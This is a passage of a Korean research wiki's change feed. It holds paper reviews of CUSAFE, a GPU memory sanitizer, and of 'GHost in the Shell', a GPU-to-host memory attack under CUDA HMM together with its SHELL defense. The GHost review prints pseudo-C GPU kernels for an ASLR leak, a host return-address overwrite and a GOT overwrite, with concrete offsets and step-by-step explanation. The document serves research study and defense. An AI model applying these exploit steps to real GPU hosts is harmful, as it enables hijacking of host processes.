이 설계는 두 문제를 동시에 겨냥한다. 첫째, 2^n alignment tag만 쓰면 padding 내부의 overflow를 놓치지만, in-band exact bounds를 함께 쓰면 정확한 크기 검사가 가능하다. 둘째, out-of-band shadow table을 쓰면 GPU thread들이 각기 다른 metadata address를 읽어 memory transaction이 늘어나지만, in-band metadata는 같은 buffer에 대한 접근에서 broadcast될 수 있다.&lt;br /&gt;
&lt;br /&gt;
Temporal bug는 별도 shadow state를 크게 유지하기보다, freed buffer의 exact bounds를 0으로 지워 기존 spatial check가 실패하게 만든다. 여기에 local memory의 stack reuse와 global memory의 VA reuse로 생기는 metadata confusion을 막기 위해, local pointer에는 stack epoch를, global pointer에는 VA randomization을 identity metadata로 붙인다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
# Hybrid metadata layout: CUSAFE는 pointer와 buffer에 metadata를 분산한다. Pointer 쪽에는 2^n-aligned size, local/global type bit, identity 정보를 넣고, buffer 쪽에는 8-byte exact bounds를 in-band로 저장한다. 이 조합은 tag만으로는 놓치는 padding 내부 overflow를 잡으면서도, shadow memory lookup보다 GPU memory hierarchy에 덜 부담을 준다.&lt;br /&gt;
&lt;br /&gt;
# Global pointer tagging via GPU MMU: Global memory는 cudaMalloc/cudaFree처럼 CPU side API로 관리되므로, CUSAFE allocator가 GPU page table을 조정해 특정 VA bit를 tag처럼 사용한다. 논문은 global pointer의 bits [46:41]을 alignment tag로 사용한다고 설명한다. 이 방식은 pointer value에 metadata를 넣으면서도 실제 physical page mapping은 유지한다.&lt;br /&gt;
&lt;br /&gt;
# Local/shared pseudo-pointer tagging: Local/shared memory의 VA는 NVIDIA runtime이 관리하므로 page table 기반 tagging을 직접 적용하기 어렵다. CUSAFE는 compiler instrumentation으로 local/shared pointer에 pseudo tag를 넣고, 실제 dereference 전에는 tag를 제거한다. Local pointer는 bit 47을 type bit로 사용하고 bits [53:48]에 alignment 정보를 둔다.&lt;br /&gt;
&lt;br /&gt;
# Spatial corruption detection: Dereference 전 CUSAFE는 먼저 pointer arithmetic이 metadata bit를 손상했는지 확인한다. 원래 pointer와 arithmetic 결과를 xor하여 2^n 범위 밖의 high bit 변화가 생기면 pointer를 invalid로 표시한다. 그 다음 alignment tag로 lower bits를 clear해 in-band exact bounds 위치를 찾고, access range가 bounds 안에 있는지 검사한다. 여기서 Naive하게 그냥 Bug reporting하면 False positive의 가능성이 있다고 한다. 따라서 이 부분은 일단 bug가 났음을 marking만 하고, 지나간 다음, 나중에 사용자가 체크할 수 있도록 하였다.&lt;br /&gt;
&lt;br /&gt;
# Temporal corruption detection: Global buffer는 cudaFree instrumentation이 in-band bounds를 0으로 지우고, double free도 metadata 확인으로 잡는다. Local buffer는 explicit free가 없으므로 function exit에서 metadata를 invalidation한다. 이렇게 하면 dangling pointer dereference는 size 0인 object 접근처럼 처리되어 기존 bounds check에서 실패한다.&lt;br /&gt;
&lt;br /&gt;
# Metadata confusion 방지: Local memory는 stack frame reuse 때문에 old pointer가 새 local variable의 값을 metadata로 오인할 수 있다. CUSAFE는 thread별 stack depth와 generation으로 구성된 stack epoch를 pointer에 넣어, pointer가 살아 있는 stack frame을 가리키는지 확인한다. Global memory는 freed VA가 재사용되는 문제를 줄이기 위해 allocation size에 따라 bits [40:A]를 randomize한다.&lt;br /&gt;
&lt;br /&gt;
# Redundant check optimization: CUSAFE는 recurring check, neighboring check, loop-inductive check를 제거한다. 같은 address에 대한 dominating check를 남기고 subordinate check를 삭제하며, 같은 basic block의 같은 base address에서는 min/max offset check만 남긴다. Loop-inductive access는 loop prologue에서 initial/max value만 검사하도록 hoist한다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
성능 평가는 Rodinia, PolyBench-GPU, Tango, LLaMA2-7B, LLaMA3-8B를 포함한 44개 testcase에서 수행되었다. CUSAFE는 평균 runtime overhead 13%를 보였고, LLM throughput은 평균 11% 감소했다. 반면 compute-sanitizer는 평균 15배 slowdown과 LLM throughput 98% 감소를 보였다.&lt;br /&gt;
&lt;br /&gt;
Worst case는 PolyBench의 naive matrix multiplication인 gemm으로, CUSAFE overhead가 83%였다. 논문은 sparse memory access pattern이 cache efficiency를 악화시켰기 때문으로 해석한다. 같은 testcase에서 compute-sanitizer는 153배 overhead를 보여, metadata access pattern이 GPU sanitizer 성능에 큰 영향을 준다는 논문의 설명을 보강한다.&lt;br /&gt;
&lt;br /&gt;
Memory overhead는 CUSAFE의 중요한 강점이다. CUSAFE는 stack epoch용 fixed 16.5 MiB와 allocation당 8-byte in-band size를 사용하며, 평균 memory overhead는 0.3%로 보고된다. cuCatch는 fixed 160 MiB와 scalable 12.5%, LMI는 2^n alignment fragmentation 때문에 평균 23% overhead로 분석된다. LLM benchmark에서는 cuCatch와 LMI가 각각 GiB 단위 overhead를 만들 수 있지만, CUSAFE는 약 16.5 MiB 수준에 머문다.&lt;br /&gt;
&lt;br /&gt;
Optimization 효과도 측정되었다. 세 가지 check optimization은 44개 GPU program에서 평균 19.32%의 check를 제거했고, 평균 실행 시간을 3.5% 줄였으며 LLM throughput은 약 2% 개선했다. lud에서는 shared memory access가 많아 optimization 후 실행 시간이 60% 이상 줄었다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# &#039;&#039;&#039;GPU Sanitizer&#039;&#039;&#039;에 대한 Motivation이 잘 설명되어 있다.&lt;br /&gt;
# Pointer tagging과 in-band exact bounds를 결합해 GPU의 memory broadcast 특성에 맞는 metadata retrieval 방식을 설계했다.&lt;br /&gt;
# Pointer arithmetic validation, stack epoch tracking, VA randomization을 통해 tag corruption과 temporal metadata confusion 문제를 완화했다.&lt;br /&gt;
# compute-sanitizer, canary 기반 방식, hardware/proprietary-toolchain 기반 연구 사이의 실용적 tradeoff를 정량적으로 비교했다.&lt;br /&gt;
&lt;br /&gt;
== [[Criticisms]] ==&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
# Existing system에 대한 Deployment로 cuCatch를 잡는 것은 조금 위험해 보인다. cuCatch가 비록 open source가 아닐 지라도, NVIDA에서 명백히 관리하고 있는 사용할 수 있는 binary임으로, cucatch는 deployment의 타겟이라기에는 조금 애매한 부분이 있다.&lt;br /&gt;
# GPU Sanitizer을 디자인할때 고려하는 상황이 CPU Sanitizer와 어떤 점이 다른지 지적한 부분은 좋았지만, 결국 Solution이 CPU Sanitizer중에서 Multithreading이 중요한 환경에서 좋은 성능을 보였던 방식, 즉 Pointer tagging, 방식이라는 점에서 특별히 Novel한 Approach를 제시하지는 못하였다고 생각한다. 특히 RSan과 매우 유사하며, 논문에서 제시한 RSan과의 차별성은 디자인이나 매커니즘의 근본적인 차이가 아닌, Motivation이 다르단 설명 중심이여서, 납득하기 어려웠다. 개인적으로는, 그러나 RSan과는 유사하여도, GPU Sanitizer연구 초창기의 논문이라는 점에서 의미있기 때문에, 이 공격은 Valid하지만 여전히 가치있는 논문이란 (Motivation이 다르다는) 주장도 설득되는 느낌이다.&lt;br /&gt;
# CuSafe에서 제시한 shadow memory대비 이점은 CuSafe처럼 Pointer Tagging을 사용하기 때문에 Alias pointer를 사용하게 되는 Scheme에만 적용되는 Limitation이다. 즉 Compute Sanitizer처럼 고정된 VA를 사용하는 Location-based sanitizer에는 적용되지 않는 Limitation이다. 따라서 이 문제를 확장시켜서 가져오는 것에는 한계가 있다.&lt;br /&gt;
# Baseline 비교의 일부는 직접 실행이 아니라 논문 설명에 기반한 추정이다. GPUShield, cuCatch, LMI 구현이 공개되어 있지 않아 coverage와 overhead 비교의 재현성이 제한된다.&lt;br /&gt;
# Optimization, Epoch-based stack allocation, Pointer-Tagging모두 Previous work들이 존재한다. (E.g., ASan--, StickTag, RSan). 논문을 Design section에서 Reference걸었으면 보다 이 논문의 어떤 점에서 차별성이 있는지 파악하기 쉬웠을 텐데, Reference를 걸어주어야 한다고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Evaluation ===&lt;br /&gt;
# Security benchmark는 알려진 bug 설명을 바탕으로 만든 synthetic program 중심이다. PyTorch/TensorFlow 같은 대규모 실제 framework에서 발견된 실제 bug를 end-to-end로 얼마나 잘 잡는지는 별도 검증이 필요하다.&lt;br /&gt;
# Temporal protection은 완전히 결정적이지 않다. Local pointer의 stack generation은 5-bit라 같은 stack depth에서 정확히 32회 호출 뒤 dereference되는 특수 case에서 false negative 가능성이 있고, global VA randomization도 확률적 방어다.&lt;br /&gt;
# 현재 design은 object-level bounds를 추적하므로 struct 내부 field 간 intra-object overflow는 잡지 못한다. Field 단위 object로 확장할 수는 있지만 tracked object 수와 overhead가 커질 수 있다.&lt;br /&gt;
# Sparse memory access가 많은 kernel에서는 overhead가 커질 수 있다. 평균 overhead는 낮지만 gemm의 83% slowdown은 memory access pattern에 민감한 workload에서 CUSAFE가 항상 가볍지는 않다는 점을 보여준다.&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
이 연구는 GPU memory safety를 단순히 CPU sanitizer를 옮기는 문제가 아니라, GPU execution model과 metadata placement를 함께 설계해야 하는 문제로 바라보게 만든다. CUSAFE는 pointer tagging, in-band exact bounds, stack epoch, VA randomization을 결합해 commodity NVIDIA GPU에서 spatial/temporal memory corruption을 높은 coverage와 낮은 평균 overhead로 탐지할 수 있음을 보였다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX Security]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=GHost_in_the_Shell:_A_GPU-to-Host_Memory_Attack_and_Its_Mitigation&amp;diff=7132</id>
		<title>GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=GHost_in_the_Shell:_A_GPU-to-Host_Memory_Attack_and_Its_Mitigation&amp;diff=7132"/>
		<updated>2026-07-02T04:17:59Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=GHost in the Shell: A GPU-to-Host Memory Attack and Its Mitigation&lt;br /&gt;
|author=Sihyun Roh, Woohyuk Choi, Jaeyoung Chung, Yoochan Lee, Suhwan Song, Byoungyoung Lee&lt;br /&gt;
|conference=IEEE Symposium on Security and Privacy (S&amp;amp;P)&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 [[Heterogeneous Memory Management]]가 활성화된 [[CUDA]] 환경에서 [[GPU]] kernel이 host memory를 과도하게 접근할 수 있는 문제가 왜 host process compromise로 이어지며, compiler instrumentation과 GPU driver page-fault enforcement로 어떻게 막을 수 있는지를 다룬다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
전통적인 [[CUDA]] programming model에서는 host memory와 GPU memory가 분리되어 있다. Host program은 `cudaMalloc`으로 device memory를 할당하고, `cudaMemcpy`로 host-device copy를 명시적으로 수행한 뒤 GPU kernel을 실행한다. 이 모델에서는 programmer burden은 크지만, GPU pointer와 host pointer가 강하게 구분되므로 GPU kernel이 host stack, heap, library metadata를 직접 읽거나 쓰는 것은 기본 threat model 밖에 있었다.&lt;br /&gt;
 &lt;br /&gt;
반면 [[Heterogeneous Memory Management]]는 Linux kernel framework와 NVIDIA GPU driver support를 통해 일반 `malloc`, `new`, stack allocation으로 만들어진 host pointer도 GPU kernel argument로 넘겨 접근할 수 있게 한다. 따라서, HMM은 programmability를 크게 개선하지만, &#039;&#039;&#039;host-only memory와 GPU-accessible shared memory의 boundary를 흐리게&#039;&#039;&#039; 만든다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
기존 GPU security 연구와 tool이 대부분 GPU memory 내부의 memory-safety bug에 집중했다는 점이다. Compute Sanitizer, cuda-gdb, GPU memory corruption 연구들은 GPU kernel 안에서의 leak, corruption, GPU-side control-flow hijack을 다루지만, discrete GPU가 host memory와 격리되어 있다는 전제를 둔다. HMM에서는 이 전제가 약해진다. GPU kernel이 host virtual address space의 page를 fault-triggered migration으로 접근할 수 있기 때문이다.&lt;br /&gt;
&lt;br /&gt;
따라서 &amp;quot;GPU kernel이 host보다 덜 privileged한 computation context&amp;quot;라는 오래된 직관이 더 이상 안전하지 않다. Vulnerable GPU kernel을 사용하는 PyTorch inference service나, 미래의 remote GPU execution API처럼 attacker-supplied GPU code를 실행할 수 있는 platform에서는 GPU-side compromise가 host process compromise로 확대될 수 있다.&lt;br /&gt;
&lt;br /&gt;
== Importance ==&lt;br /&gt;
Prior GPU attack들은 side channel, residual GPU memory disclosure, GPU kernel control-flow hijack을 보여주었지만, host process memory를 직접 corrupt하는 공격은 다루지 못했다. GHOST-ATTACK은 HMM이 이 boundary를 무너뜨릴 수 있음을 보인다.&lt;br /&gt;
&lt;br /&gt;
그러나, 본 논문은 &lt;br /&gt;
# HMM을 단순한 performance/programmability feature가 아니라 새로운 security boundary 변화로 제시하였다.&lt;br /&gt;
# 또한, 이 논문은 &amp;quot;address space가 unified되더라도 access authority는 unified되면 안 된다&amp;quot;는 design principle을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
; 공격 방향의 아이디어&lt;br /&gt;
: HMM환경에서는, GPU memory-safety bug가 host memory exploit primitive로 승격시킬 수 있다. 공격자는 GPU kernel context를 바탕으로 host pointer와 libcuda-rt metadata를 이용해 host address layout을 알아내고, return address나 GOT entry 같은 control-relevant host data를 overwrite할 수 있다.&lt;br /&gt;
&lt;br /&gt;
; 방어 방향의 아이디어&lt;br /&gt;
: GPU가 접근해도 되는 host memory를 &amp;quot;host가 kernel launch 시점에 의도적으로 전달한 shared data&amp;quot;로 한정한다. SHELL은 Clang/LLVM instrumentation으로 `cudaLaunchKernel`에 전달되는 pointer의 allocation source를 추적해 shared region whitelist를 만들고, NVIDIA GPU driver의 HMM page-fault handler에서 faulting address가 whitelist 안에 있을 때만 page migration을 허용한다. 이를 위하여, NVIDIA HMM page migration이 64KB granularity로 처리되기 때문에 단순 page-fault check만으로는 sub-page leakage가 남는다. SHELL은 shared data와 host-only data가 같은 64KB migration block에 섞이지 않도록 global, heap, stack shared allocation을 별도 aligned region/pool로 옮겼다.&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
=== GHOST-ATTACK threat model ===&lt;br /&gt;
Victim은 HMM-enabled CUDA application이며, PyTorch/TensorFlow 같은 framework처럼 libcuda-rt를 dynamic link한다. Attacker는 GPU kernel memory-safety bug를 crafted input으로 exploit하거나, WebGPU/HIPscript-like interface를 통해 attacker-supplied GPU kernel을 실행할 수 있다고 가정한다. 목표는 GPU kernel privilege에서 host process memory integrity와 control flow를 compromise하는 것이다.&lt;br /&gt;
&lt;br /&gt;
=== ASLR bypass through libcuda-rt ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* GPU kernel to break ASLR */&lt;br /&gt;
/* Pseudo C-style code for readability */&lt;br /&gt;
&lt;br /&gt;
__global__&lt;br /&gt;
void aslr_break_kernel() {&lt;br /&gt;
    uint64_t nvidiactl_base = 0x200400000ULL;&lt;br /&gt;
    uint64_t offset = 0x7ce8;&lt;br /&gt;
&lt;br /&gt;
    uint64_t *probe_object&lt;br /&gt;
        = *(uint64_t **)(nvidiactl_base + offset);&lt;br /&gt;
&lt;br /&gt;
    uint64_t i = 0;&lt;br /&gt;
    uint64_t *leak_object;&lt;br /&gt;
&lt;br /&gt;
    /*&lt;br /&gt;
     * Find the object that contains the magic values:&lt;br /&gt;
     *   0x200000000&lt;br /&gt;
     *   0x300200000&lt;br /&gt;
     */&lt;br /&gt;
    while(true) {&lt;br /&gt;
        if(*(probe_object - i) == 0x200000000ULL) {&lt;br /&gt;
            if(*(probe_object - i + 1) == 0x300200000ULL) {&lt;br /&gt;
                leak_object = probe_object - i;&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
&lt;br /&gt;
        i++;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /*&lt;br /&gt;
     * Read objects until it leaks the last mapping information.&lt;br /&gt;
     */&lt;br /&gt;
    for(i = 0; *(leak_object + i) != 0xffffffffff600000; ++i) {&lt;br /&gt;
        printf(&amp;quot;leaked address: %lx\n&amp;quot;, *(leak_object + i));&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
GHOST-ATTACK은 libcuda-rt가 host process에 남기는 memory layout artifacts를 이용한다. &lt;br /&gt;
# GPU launch 시 `nvidiactl` device mapping이 fixed virtual address에 배치되어 reliable anchor가 된다. &lt;br /&gt;
# 그 mapping의 fixed offset에 host heap object를 가리키는 pointer가 있다.&lt;br /&gt;
# Line 20-29: 이 부분은 probe_object속의 특정 magic value값을 찾는 부분이다. 이 값을 찾으면 object의 시작점을 알 수 있다. 전형적인 memory scanning + signature matching방식이다. 여기서 중요한거는 GPU가 *(probe_object - i)를 할 수 있는 권한, 즉 host memory의 arbitary read가 가능하다는 점이다.&lt;br /&gt;
# 마침내, leak_object를 찾았으니, 메모리를 순서대로 읽어서 출력한다. 종료조건은 0xffffffffff600000값을 출력시키는 것인데, 이 값은 x86-64 Linux의 [[vsyscall page]]주소이다. 즉 출력되는 값에는 exectuable base, heap base, mmap region, shared library base, libc base, ... etc들이 있는데, 이 값중 하나만 leak되어도 ASLR을 깨트릴 수 있다. 예를 들어서 Libc base가 leak되면 [[ROP]] Gadget주소나 System call함수 주소등을 계산할 수 있다.&lt;br /&gt;
&lt;br /&gt;
=== Return address overwrite ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* GPU kernel to overwrite a return address on the stack */&lt;br /&gt;
/* Pseudo C-style code for readability */&lt;br /&gt;
&lt;br /&gt;
__device__&lt;br /&gt;
void return_address_overwrite_payload() {&lt;br /&gt;
    /* Break ASLR, and leak the libcuda base */&lt;br /&gt;
    size_t libcuda_base = find_libcuda_base();&lt;br /&gt;
&lt;br /&gt;
    /* Return address to overwrite */&lt;br /&gt;
    size_t return_addr = libcuda_base + 0x25f701;&lt;br /&gt;
&lt;br /&gt;
    /* Scan the stack to locate the target return address */&lt;br /&gt;
    size_t target_addr = scan_stack(return_addr);&lt;br /&gt;
&lt;br /&gt;
    /* Scan host address space to find the gadget */&lt;br /&gt;
    uint64_t gadget_addr = find_gadget_addr();&lt;br /&gt;
&lt;br /&gt;
    /* Overwrite the target return address with the gadget address */&lt;br /&gt;
    *(uint64_t *)target_addr = gadget_addr;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
# 먼저 GPU kernel은 ASLR을 우회하여 `libcuda-rt`의 base address를 얻는다.&lt;br /&gt;
# 이후 `libcuda_base + 0x25f701`을 계산한다. 이 값은 `cudaDeviceSynchronize()` 내부의 blocking loop와 관련된 `libcuda-rt` 함수의 return address 값이다.&lt;br /&gt;
# Host program은 GPU kernel이 끝날 때까지 `cudaDeviceSynchronize()`에서 대기한다. 이는 Host의 stack return address가 고정되도록 하여서, 공격을 더 쉽게 만든다.&lt;br /&gt;
# 이때 host thread의 stack에는 `libcuda-rt` 함수의 return address가 저장되어 있다.&lt;br /&gt;
# GPU kernel은 host stack을 스캔하여 해당 return address 값을 찾는다.&lt;br /&gt;
# 찾은 stack slot을 attacker-controlled gadget address로 덮어쓴다.&lt;br /&gt;
# 이후 blocking loop가 끝나고 CPU가 return할 때, 원래 주소가 아니라 attacker가 써둔 gadget address로 jump하게 된다.&lt;br /&gt;
&lt;br /&gt;
=== GOT overwrite ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line&amp;gt;&lt;br /&gt;
/* GPU kernel to overwrite libcuda GOT entry */&lt;br /&gt;
/* Pseudo C-style code for readability */&lt;br /&gt;
&lt;br /&gt;
#define GADGET_OFFSET (0xXXXXXX)&lt;br /&gt;
#define FREE_OFFSET   (0x25f701)&lt;br /&gt;
&lt;br /&gt;
__device__&lt;br /&gt;
void GOT_overwrite_payload() {&lt;br /&gt;
    /* Break ASLR, and leak the libc &amp;amp; libcuda base */&lt;br /&gt;
    size_t libc_base = find_libc_base();&lt;br /&gt;
    size_t libcuda_base = find_libcuda_base();&lt;br /&gt;
&lt;br /&gt;
    /* Set gadget address to overwrite */&lt;br /&gt;
    size_t gadget_addr = libc_base + GADGET_OFFSET;&lt;br /&gt;
&lt;br /&gt;
    /* Set GOT entry to be overwritten */&lt;br /&gt;
    size_t target_addr = libcuda_base + FREE_OFFSET;&lt;br /&gt;
&lt;br /&gt;
    /* Overwrite the GOT entry with the gadget address */&lt;br /&gt;
    *(uint64_t *)target_addr = gadget_addr;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
# GPU kernel은 ASLR을 우회하여 `libc`와 `libcuda-rt`의 base address를 얻는다.&lt;br /&gt;
# `libc_base + GADGET_OFFSET`을 통해 attacker가 사용할 gadget address를 계산한다.&lt;br /&gt;
# `libcuda_base + FREE_OFFSET`을 통해 `libcuda-rt` 안의 `free()` GOT entry 주소를 계산한다.&lt;br /&gt;
# GPU kernel은 해당 GOT entry를 gadget address로 덮어쓴다.&lt;br /&gt;
# 이후 host CPU가 `libcuda-rt` 내부에서 `free()`를 호출하면, 원래 libc의 `free()`가 아니라 attacker-controlled gadget으로 jump하게 된다.&lt;br /&gt;
&lt;br /&gt;
=== SHELL static identification of shared data ===&lt;br /&gt;
[[파일:IEEE S&amp;amp;P 2026 GHost in the Shell; Figure 7.png|800픽셀|가운데]]&lt;br /&gt;
SHELL은 GPU kernel이 접근할 legitimate shared data를 GPU kernel 실행 중 access trace에서 추정하지 않는다. 대신 host-side `cudaLaunchKernel()` argument가 shared pointer의 root라는 observation을 사용한다. LLVM/Clang pass가 kernel launch argument에서 backward use-def analysis를 수행하여 global variable, heap allocation, stack allocation, memory mapping 중 GPU에 전달될 수 있는 region을 찾고, 이 region 정보를 GPU driver의 SHELL table에 등록한다. 이 방식은 compromised GPU kernel이 임의 host address를 읽었다는 사실만으로 그 address를 shared data로 오인하는 문제를 피한다.&lt;br /&gt;
&lt;br /&gt;
=== Isolated shared allocation ===&lt;br /&gt;
SHELL은 allocation kind별로 shared data를 host-only data와 분리한다. Global shared data는 64KB-aligned Shared Main Data region으로 옮긴다. Heap shared data는 jemalloc `mallocx` 기반 separate arena에서 할당한다. Stack shared data는 function prologue/epilogue instrumentation을 통해 heap allocation/free로 변환한다. `mmap` 기반 shared allocation은 custom `MAP_HMM` flag를 붙이고 64KB alignment/padding과 driver table update를 수행한다. tradeoff는 compiler/runtime instrumentation과 custom allocator dependency가 생기는 대신, HMM의 sub-page migration granularity 문제를 줄인다는 것이다.&lt;br /&gt;
&lt;br /&gt;
=== Runtime access control in GPU driver ===&lt;br /&gt;
SHELL은 NVIDIA GPU driver의 HMM page-fault path를 enforcement point로 사용한다. GPU가 GPU-only memory를 access하면 기존처럼 GART translation이 성공한다. GPU가 host memory를 access해 page fault가 발생하면, driver는 faulting address가 SHELL table의 shared data whitelist에 있는지 확인한다. Shared data이면 migration을 허용하고, host-only data 또는 unmapped page이면 migration을 거부한다. 이 invariant는 &amp;quot;GPU kernel은 GPU-only data와 explicitly shared host data만 접근한다&amp;quot;는 것이다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
; Attack senarios&lt;br /&gt;
: 공격 결과는 두 PyTorch와 Chromium Web Driver케이스로 제시하였고, 성공적으로 공격하였다.&lt;br /&gt;
&lt;br /&gt;
; SHELL Case studies&lt;br /&gt;
: 방어 결과에서 SHELL은 &#039;&#039;&#039;vulnerable GPU kernel 자체의 exploit이나 GPU-side payload execution을 막지는 못하지만&#039;&#039;&#039;, payload가 &#039;&#039;&#039;host-only data를 접근하는 것을 막는다&#039;&#039;&#039;. 그 결과 host address layout leak과 host GOT overwrite가 차단된다. Chrome/WebGPU case에서는 future GPU kernel launching module을 가정하고 그 module에 SHELL instrumentation을 적용했을 때 attacker-controlled GPU kernel의 host-only memory access가 차단되었다고 보고한다.&lt;br /&gt;
&lt;br /&gt;
Performance evaluation은 NVIDIA의 HMM-enabled ERA5 climate dataset processor sample을 대상으로 했다. Baseline jemalloc version의 elapsed time은 3.1088초이고 SHELL-enabled version은 3.1398초로, end-to-end overhead는 0.9%이다. `nvidia-smi` 기준 GPU memory allocation size는 baseline과 SHELL 모두 5,824 MiB로 같아, 64KB migration block alignment가 이 workload에서 extra fragmentation을 만들지 않았다고 보고한다.&lt;br /&gt;
&lt;br /&gt;
== Criticisms ==&lt;br /&gt;
HMM 자체가 아직 production application에서 널리 쓰이지 않기 때문에, performance evaluation의 real-world scope는 제한적이다. 논문도 이를 인정하고 NVIDIA HMM sample인 ERA5 processor를 대표 workload로 사용한다. 더 다양한 ML framework, multi-process service, long-running inference workload에서 allocation pattern과 page-fault behavior가 어떻게 달라지는지는 추가 검증이 필요하다.&lt;br /&gt;
&lt;br /&gt;
SHELL은 GPU kernel의 memory-safety vulnerability 자체를 제거하지 않는다. 공격 payload가 host-only memory에 접근하는 것을 막는 boundary defense이므로, GPU memory 내부 data corruption, GPU-side control-flow hijack, denial-of-service는 별도 방어가 필요하다. -&amp;gt; Possible Future Works?&lt;br /&gt;
&lt;br /&gt;
== Conclusion ==&lt;br /&gt;
연구는 HMM이 어떻게 기존 GPU의 Threat Model을 확장시킬 수 있는지 제시한다는 점에서 기여도가 높다고 생각한다. 제시한 Solution은 이 TreatModel에서 명백히 작동하는 방식으로 보인다는 점에서, Defending logic도 명확해 보인다. 이 논문은 후에, HMM하에서 Host-GPU간의 Security problem들이 새로운 공격 주체로서 확장시키는 (그리고 막는 여구들의)좋은 초석이 될거라 생각한다. 전반적으로 Writing quality도 매우 좋았으며, Evaluation결과도 훌룡하였던 것 같다.&lt;br /&gt;
&lt;br /&gt;
[[분류: IEEE S&amp;amp;P]]&lt;br /&gt;
[[분류: GPU 보안]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:IEEE_S%26P_2026_GHost_in_the_Shell;_Figure_7.png&amp;diff=7131</id>
		<title>파일:IEEE S&amp;P 2026 GHost in the Shell; Figure 7.png</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%ED%8C%8C%EC%9D%BC:IEEE_S%26P_2026_GHost_in_the_Shell;_Figure_7.png&amp;diff=7131"/>
		<updated>2026-07-02T03:49:41Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;IEEE S&amp;amp;P 2026 GHost in the Shell; Figure 7&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Unified_Virtual_Memory&amp;diff=7129</id>
		<title>Unified Virtual Memory</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Unified_Virtual_Memory&amp;diff=7129"/>
		<updated>2026-06-19T02:06:11Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: GPU Unified Virtual Memory 문서로 넘겨주기&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#넘겨주기 [[GPU Unified Virtual Memory]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=TBNp&amp;diff=7128</id>
		<title>TBNp</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=TBNp&amp;diff=7128"/>
		<updated>2026-06-19T02:05:03Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: Tree-based Neighboring Prefetcher 문서로 넘겨주기&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#넘겨주기 [[Tree-based Neighboring Prefetcher]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_Unified_Virtual_Memory&amp;diff=7123</id>
		<title>분류:GPU Unified Virtual Memory</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%EB%B6%84%EB%A5%98:GPU_Unified_Virtual_Memory&amp;diff=7123"/>
		<updated>2026-06-18T04:25:43Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: 새 문서: 분류: GPU&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[분류: GPU]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=%EC%82%AC%EC%9A%A9%EC%9E%90:Noribot&amp;diff=7121</id>
		<title>사용자:Noribot</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=%EC%82%AC%EC%9A%A9%EC%9E%90:Noribot&amp;diff=7121"/>
		<updated>2026-06-18T03:09:41Z</updated>

